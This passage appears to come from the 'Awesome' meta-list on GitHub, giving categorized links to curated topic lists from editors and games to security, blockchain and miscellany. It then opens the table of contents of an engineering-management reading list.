- [Elixir Books](https://github.com/sger/ElixirBooks#readme) ## Editors - [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme) - [Vim](https://github.com/mhinz/vim-galore#readme) - [Neovim](https://github.com/rockerBOO/awesome-neovim#readme) - Vim-fork focused on extensibility and usability. - [Emacs](https://github.com/emacs-tw/awesome-emacs#readme) - [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor. - [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor. ## Gaming - [Game Development](https://github.com/ellisonleao/magictools#readme) - [Game Talks](https://github.com/hzoo/awesome-gametalks#readme) - [Godot](https://github.com/godotengine/awesome-godot#readme) - Game engine. - [Open Source Games](https://github.com/michelpereira/awesome-open-source-games#readme) - [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine. - [Chess](https://github.com/hkirat/awesome-chess#readme) - [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine. - [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console. - [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme) - [Construct 2](https://github.com/ConstructCommunity/awesome-construct#readme) - Game engine. - [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine. - [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game. - [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games. - [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - A high-level strongly typed programming language used to produce cross-platform native code. - [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework. - [PlayCanvas](https://github.com/playcanvas/awesome-playcanvas#readme) - Game engine. - [Game Remakes](https://github.com/radek-sprta/awesome-game-remakes#readme) - Actively maintained open-source game remakes. - [Flame](https://github.com/flame-engine/awesome-flame#readme) - Game engine for Flutter. - [Discord Communities](https://github.com/mhxion/awesome-discord-communities#readme) - Chat with friends and communities. - [CHIP-8](https://github.com/tobiasvl/awesome-chip-8#readme) - Virtual computer game machine from the 70s. - [Games of Coding](https://github.com/michelpereira/awesome-games-of-coding#readme) - Learn a programming language by making games. - [Esports](https://github.com/strift/awesome-esports#readme) - Video games played as a sport. ## Development Environment - [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS. - [Dev Env](https://github.com/jondot/awesome-devenv#readme) - [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme) - [Shell](https://github.com/alebcay/awesome-shell#readme) - [Fish](https://github.com/jorgebucaran/awsm.fish#readme) - User-friendly shell. - [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme) - [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme) - [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories. - [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme) - [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme) - [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile. - [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme) - [Git Tips](https://github.com/git-tips/tips#readme) - [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI. - [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows. - [SSH](https://github.com/moul/awesome-ssh#readme) - [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme) - [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies. - [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell. - [Alfred Workflows](https://github.com/alfred-workflows/awesome-alfred-workflows#readme) - Productivity app for macOS. - [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme) - [GitHub Actions](https://github.com/sdras/awesome-actions#readme) - Create tasks to automate your workflow and share them with others on GitHub. ## Entertainment - [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi. - [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme) - [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme) - [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme) - [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme) ## Databases - [Database](https://github.com/numetriclabz/awesome-db#readme) - [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme) - [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme) - [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme) - [Neo4j](https://github.com/neueda/awesome-neo4j#readme) - [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database. - [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme) - [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework. - [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database. - [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database. - [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store. - [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases. - [Database Tools](https://github.com/mgramin/awesome-db-tools#readme) - Everything that makes working with databases easier. - [TypeDB](https://github.com/vaticle/typedb-awesome#readme) - Logical database to organize large and complex networks of data as one body of knowledge. - [Cassandra](https://github.com/Anant/awesome-cassandra#readme) - Open-source, distributed, wide column store, NoSQL database management system. - [TDengine](https://github.com/taosdata/awesome-tdengine#readme) - An open-source time-series database with high-performance, scalability, and SQL support. ## Media - [Creative Commons Media](https://github.com/shime/creative-commons-media#readme) - [Fonts](https://github.com/brabadu/awesome-fonts#readme) - [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts. - [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme) - [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images. - [Music](https://github.com/ciconia/awesome-music#readme) - [Open Source Documents](https://github.com/44bits/awesome-opensource-documents#readme) - [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme) - [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme) - [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art. - [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video. - [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects. - [Audiovisual](https://github.com/stingalleman/awesome-audiovisual#readme) - Lighting, audio and video in professional environments. - [VLC](https://github.com/mfkl/awesome-vlc#readme) - Cross-platform media player software and streaming server. ## Learn - [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials. - [Learn to Program](https://github.com/karlhorky/learn-to-program#readme) - [Speaking](https://github.com/matteofigus/awesome-speaking#readme) - [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme) - [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme) - [Computer History](https://github.com/watson/awesome-computer-history#readme) - [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme) - [Educational Games](https://github.com/yrgo/awesome-educational-games#readme) - Learn while playing. - [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme) - [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules. - [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager. - [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills. - [YouTubers](https://github.com/JoseDeFreitas/awesome-youtubers#readme) - Watch video tutorials from YouTubers that teach you about technology. ## Security - [Application Security](https://github.com/paragonie/awesome-appsec#readme) - [Security](https://github.com/sbilly/awesome-security#readme) - [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag. - [Cyber Security University](https://github.com/brootware/awesome-cyber-security-university#readme) - Free educational resources that focus on learning by doing. - [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme) - [Android Security](https://github.com/ashishb/android-security-awesome#readme) - [Hacking](https://github.com/carpedm20/awesome-hacking#readme) - [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme) - [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization. - [Incident Response](https://github.com/meirwah/awesome-incident-response#readme) - [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme) - [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services. - [Lockpicking](https://github.com/fabacab/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key. - [Cybersecurity Blue Team](https://github.com/fabacab/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems. - [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data. - [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme) - [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - Regulation on data protection and privacy for all individuals within EU. - [DevSecOps](https://github.com/TaptuIT/awesome-devsecops#readme) - Integration of security practices into [DevOps](https://en.wikipedia.org/wiki/DevOps). - [Executable Packing](https://github.com/dhondta/awesome-executable-packing#readme) - Packing and unpacking executable formats. - [Malware Persistence](https://github.com/Karneades/awesome-malware-persistence#readme) - Techniques that adversaries use to keep access to systems across restarts. - [EVM Security](https://github.com/kareniel/awesome-evm-security#readme) - Understanding the Ethereum Virtual Machine security ecosystem. ## Content Management Systems - [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme) - [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS. - [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience. - [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS. - [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS. - [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS. - [Sitecore](https://github.com/MartinMiles/Awesome-Sitecore#readme) - .NET digital marketing platform that combines CMS with tools for managing multiple websites. - [Silverstripe CMS](https://github.com/wernerkrauss/awesome-silverstripe-cms#readme) - PHP MVC framework that serves as a classic or headless CMS. - [Directus](https://github.com/directus-community/awesome-directus#readme) - A real-time API and app dashboard for managing SQL database content. - [Plone](https://github.com/collective/awesome-plone#readme) - Open source Python CMS. ## Hardware - [Robotics](https://github.com/Kiloreux/awesome-robotics#readme) - [Internet of Things](https://github.com/HQarroum/awesome-iot#readme) - [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists. - [Bluetooth Beacons](https://github.com/rabschi/awesome-beacon#readme) - [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar. - [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots. - [Robotic Tooling](https://github.com/protontypes/awesome-robotic-tooling#readme) - Free and open tools for professional robotic development. - [LIDAR](https://github.com/szenergy/awesome-lidar#readme) - Sensor for measuring distances by illuminating the target with laser light. - [Open Hardware](https://github.com/delftopenhardware/awesome-open-hardware#readme) - Open-source hardware projects. ## Business - [Open Companies](https://github.com/opencompany/awesome-open-company#readme) - [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme) - [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices. - [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment. - [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses. - [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News. - [Clean Tech](https://github.com/nglgzz/awesome-clean-tech#readme) - Fighting climate change with technology. - [Wardley Maps](https://github.com/wardley-maps-community/awesome-wardley-maps#readme) - Provides high situational awareness to help improve strategic planning and decision making. - [Social Enterprise](https://github.com/RayBB/awesome-social-enterprise#readme) - Building an organization primarily focused on social impact that is at least partially self-funded. - [Engineering Team Management](https://github.com/kdeldycke/awesome-engineering-team-management#readme) - How to transition from software development to engineering management. - [Developer-First Products](https://github.com/agamm/awesome-developer-first#readme) - Products that target developers as the user. - [Billing](https://github.com/kdeldycke/awesome-billing#readme) - Payments, invoicing, pricing, accounting, marketplace, fraud, and business intelligence. ## Work - [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration. - [Communities](https://github.com/filipelinhares/awesome-slack#readme) - [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme) - [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme) - [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme) - [Programming Interviews](https://github.com/DopplerHQ/awesome-interview-questions#readme) - [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code. - [Creative Technology](https://github.com/j0hnm4r5/awesome-creative-technology#readme) - Businesses & groups that specialize in combining computing, design, art, and user experience. - [Internships](https://github.com/lodthe/awesome-internships#readme) - CV writing guides and companies that hire interns. ## Networking - [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme) - [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme) - [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme) - [Real-Time Communications](https://github.com/rtckit/awesome-rtc#readme) - Network protocols for near simultaneous exchange of media and data. - [SNMP](https://github.com/eozer/awesome-snmp#readme) - A protocol for collecting, modifying, and organizing information about managed devices on IP networks. ## Decentralized Systems - [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers. - [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network. - [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications. - [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network. - [Ethereum](https://github.com/ttumiel/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development. - [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning. - [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps. - [Corda](https://github.com/chainstack/awesome-corda#readme) - Open source blockchain platform designed for business. - [Waves](https://github.com/msmolyakov/awesome-waves#readme) - Open source blockchain platform and development toolset for Web 3.0 apps and decentralized solutions. - [Substrate](https://github.com/substrate-developer-hub/awesome-substrate#readme) - Framework for writing scalable, upgradeable blockchains in Rust. - [Golem](https://github.com/golemfactory/awesome-golem#readme) - Open source peer-to-peer marketplace for computing resources. - [Stacks](https://github.com/friedger/awesome-stacks-chain#readme) - A smart contract platform secured by Bitcoin. - [Algorand](https://github.com/aorumbayev/awesome-algorand#readme) - An open-source, proof of stake blockchain and smart contract computing platform. ## Health and Social Science - [Biomedical Information Extraction](https://github.com/caufieldjh/awesome-bioie#readme) - How to extract information from unstructured biomedical data and text. - [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system. - [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community. - [Digital History](https://github.com/maehr/awesome-digital-history#readme) - Computer-aided scientific investigation of history. - [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures. - [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers. - [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society. - [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry. - [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain. ## Events - [Creative Tech Events](https://github.com/danvoyce/awesome-creative-tech-events#readme) - Events around the globe for creative coding, tech, design, music, arts and cool stuff. - [Events in Italy](https://github.com/ildoc/awesome-italy-events#readme) - Tech-related events in Italy. - [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands. ## Testing - [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing. - [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style. - [Selenium](https://github.com/christian-bromann/awesome-selenium#readme) - Open-source browser automation framework and ecosystem. - [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps. - [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol. - [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool. - [k6](https://github.com/grafana/awesome-k6#readme) - Open-source, developer-centric performance monitoring and load testing solution. - [Playwright](https://github.com/mxschmitt/awesome-playwright#readme) - Node.js library to automate Chromium, Firefox and WebKit with a single API. - [Quality Assurance Roadmap](https://github.com/fityanos/awesome-quality-assurance-roadmap#readme) - How to start & build a career in software testing. - [Gatling](https://github.com/aliesbelik/awesome-gatling#readme) - Open-source load and performance testing framework based on Scala, Akka, and Netty. ## Miscellaneous - [Scientific Writing](https://github.com/writing-resources/awesome-scientific-writing#readme) - Distraction-free scientific writing with Markdown, reStructuredText and Jupyter notebooks. - [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format. - [GeoJSON](https://github.com/tmcw/awesome-geojson#readme) - [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme) - [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values. - [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme) - [Radio](https://github.com/kyleterry/awesome-radio#readme) - [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated. - [Analytics](https://github.com/0xnr/awesome-analytics#readme) - [REST](https://github.com/marmelab/awesome-rest#readme) - [Continuous Integration and Continuous Delivery](https://github.com/cicdops/awesome-ciandcd#readme) - [Services Engineering](https://github.com/mmcgrana/services-engineering#readme) - [Free for Developers](https://github.com/ripienaar/free-for-dev#readme) - [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc. - [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS. - [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme) - [Readme](https://github.com/matiassingers/awesome-readme#readme) - [Design and Development Guides](https://github.com/NARKOZ/guides#readme) - [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme) - [Self Hosted](https://github.com/awesome-selfhosted/awesome-selfhosted#readme) - [FOSS Production Apps](https://github.com/DataDaoDe/awesome-foss-apps#readme) - [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner. - [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything. - [Answers](https://github.com/stoeffel/awesome-ama-answers#readme) - [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme) - [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics. - [GraphQL](https://github.com/chentsulin/awesome-graphql#readme) - [Urban & Regional Planning](https://github.com/APA-Technology-Division/urban-and-regional-planning-resources#readme) - Concerning the built environment and communities. - [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme) - [Research Tools](https://github.com/emptymalei/awesome-research#readme) - [Data Visualization](https://github.com/javierluraschi/awesome-dataviz#readme) - [Microservices](https://github.com/mfornos/awesome-microservices#readme) - [Unicode](https://github.com/jagracey/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources. - [Code Points](https://github.com/Codepoints/awesome-codepoints#readme) - [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme) - [Katas](https://github.com/gamontal/awesome-katas#readme) - [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme) - [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists. - [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol. - [For Girls](https://github.com/cristianoliveira/awesome4girls#readme) - [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework. - [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API. - [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language. - [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit. - [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme) - [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme) - [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry. - [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme. - [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform. - [Bots](https://github.com/hackerkid/bots#readme) - Building bots. - [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme) - [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework. - [Userscripts](https://github.com/bvolpato/awesome-userscripts#readme) - Enhance your browsing experience. - [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO. - [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat. - [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in. - [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model. - [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology. - [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system. - [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers. - [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional. - [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login. - [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom. - [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs. - [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language. - [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects. - [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP. - [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt. - [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives. - [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use. - [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system. - [Homematic](https://github.com/homematic-community/awesome-homematic#readme) - Smart home devices. - [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line. - [Web Monetization](https://github.com/thomasbnt/awesome-web-monetization#readme) - A free open web standard service that allows you to send money directly in your browser. - [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works. - [Crypto Currency Tools & Algorithms](https://github.com/Zheaoli/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers. - [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects. - [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences. - [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition. - [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool. - [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer. - [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform. - [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human. - [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text. - [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship. - [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community. - [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all. - [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects. - [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions. - [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub. - [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin. - [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers. - [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme) - [Agriculture](https://github.com/brycejohnston/awesome-agriculture#readme) - Open source technology for farming and gardening. - [Product Design](https://github.com/ttt30ga/awesome-product-design#readme) - Design a product from the initial concept to production. - [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API. - [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software. - [Connectivity Data and Reports](https://github.com/stevesong/awesome-connectivity-info#readme) - Better understand who has access to telecommunication and internet infrastructure and on what terms. - [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - Tech stacks for building different apps and features. - [Cytodata](https://github.com/cytodata/awesome-cytodata#readme) - Image-based profiling of biological phenotypes for computational biologists. - [IRC](https://github.com/davisonio/awesome-irc#readme) - Open source messaging protocol. - [Advertising](https://github.com/cenoura/awesome-ads#readme) - Advertising and programmatic media for websites. - [Earth](https://github.com/philsturgeon/awesome-earth#readme) - Find ways to resolve the climate crisis. - [Naming](https://github.com/gruhn/awesome-naming#readme) - Naming things in computer science done right. - [Web Archiving](https://github.com/iipc/awesome-web-archiving#readme) - An effort to preserve the Web for future generations. - [WP-CLI](https://github.com/schlessera/awesome-wp-cli#readme) - Command-line interface for WordPress. - [Credit Modeling](https://github.com/mourarthur/awesome-credit-modeling#readme) - Methods for classifying credit applicants into risk classes. - [Ansible](https://github.com/ansible-community/awesome-ansible#readme) - A Python-based, open source IT configuration management and automation platform. - [Biological Visualizations](https://github.com/keller-mark/awesome-biological-visualizations#readme) - Interactive visualization of biological data on the web. - [QR Code](https://github.com/make-github-pseudonymous-again/awesome-qr-code#readme) - A type of matrix barcode that can be used to store and share a small amount of information. - [Veganism](https://github.com/sdassow/awesome-veganism#readme) - Making the plant-based lifestyle easy and accessible. - [Translations](https://github.com/mbiesiad/awesome-translations#readme) - The transfer of the meaning of a text from one language to another. - [Scriptable](https://github.com/dersvenhesse/awesome-scriptable#readme) - An iOS app for automations in JavaScript. - [WebXR](https://github.com/msub2/awesome-webxr#readme) - Enables immersive virtual reality and augmented reality content on the web. - [OpenStreetMap](https://github.com/osmlab/awesome-openstreetmap#readme) - An open data mapping project utilized by many apps and devices. - [Computational Biology](https://github.com/inoue0426/awesome-computational-biology#readme) - Computational approaches applied to problems in biology. ## Related - [All Awesome Lists](https://github.com/topics/awesome) - All the Awesome lists on GitHub. - [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset. - [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists. - [StumbleUponAwesome](https://github.com/basharovV/StumbleUponAwesome) - Discover random pages from the Awesome dataset using a browser extension. - [Awesome CLI](https://github.com/umutphp/awesome-cli) - A simple command-line tool to dive into Awesome lists. - [Awesome Viewer](https://awesome.digitalbunker.dev) - A visualizer for all of the above Awesome lists. - [Track Awesome List](https://www.trackawesomelist.com) - View the latest updates of Awesome lists.

<!-- START doctoc generated TOC please keep comment here to allow auto update --> <!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE --> ## Table of Contents - [About this list](#about-this-list) - [Books](#books) - [Turn the Ship Around!: A True Story of Turning Followers into Leaders](#turn-the-ship-around-a-true-story-of-turning-followers-into-leaders) - [Other generalist books](#other-generalist-books) - [Book reading lists](#book-reading-lists) - [What is engineering management?](#what-is-engineering-management) - [General management resources](#general-management-resources) - [Articles](#articles) - [Tools](#tools) - [Engineering Management Topics](#engineering-management-topics) - [1-1](#1-1) - [Antipatterns](#antipatterns) - [Biases](#biases) - [Brainstorming](#brainstorming) - [Career growth and job ladder](#career-growth-and-job-ladder) - [Change management](#change-management) - [Code reviews](#code-reviews) - [Communication](#communication) - [Conflict resolution](#conflict-resolution) - [CTO (Chief Technical Officer), VPoE and other levels](#cto-chief-technical-officer-vpoe-and-other-levels) - [Data organization](#data-organization) - [Culture](#culture) - [Decisions](#decisions) - [Delegation](#delegation) - [Delivery](#delivery) - [Diversity and inclusion](#diversity-and-inclusion) - [Diversity in hiring](#diversity-in-hiring) - [Employee handbook](#employee-handbook) - [Employee retention](#employee-retention) - [Escalations](#escalations) - [FinOps (cost)](#finops-cost) - [First-time manager](#first-time-manager) - [Feedback and performance](#feedback-and-performance) - [Hiring](#hiring) - [General](#general) - [Hiring: diversity and biases](#hiring-diversity-and-biases) - [Hiring: interviews](#hiring-interviews) - [Hiring: interview questions](#hiring-interview-questions) - [Hiring: job 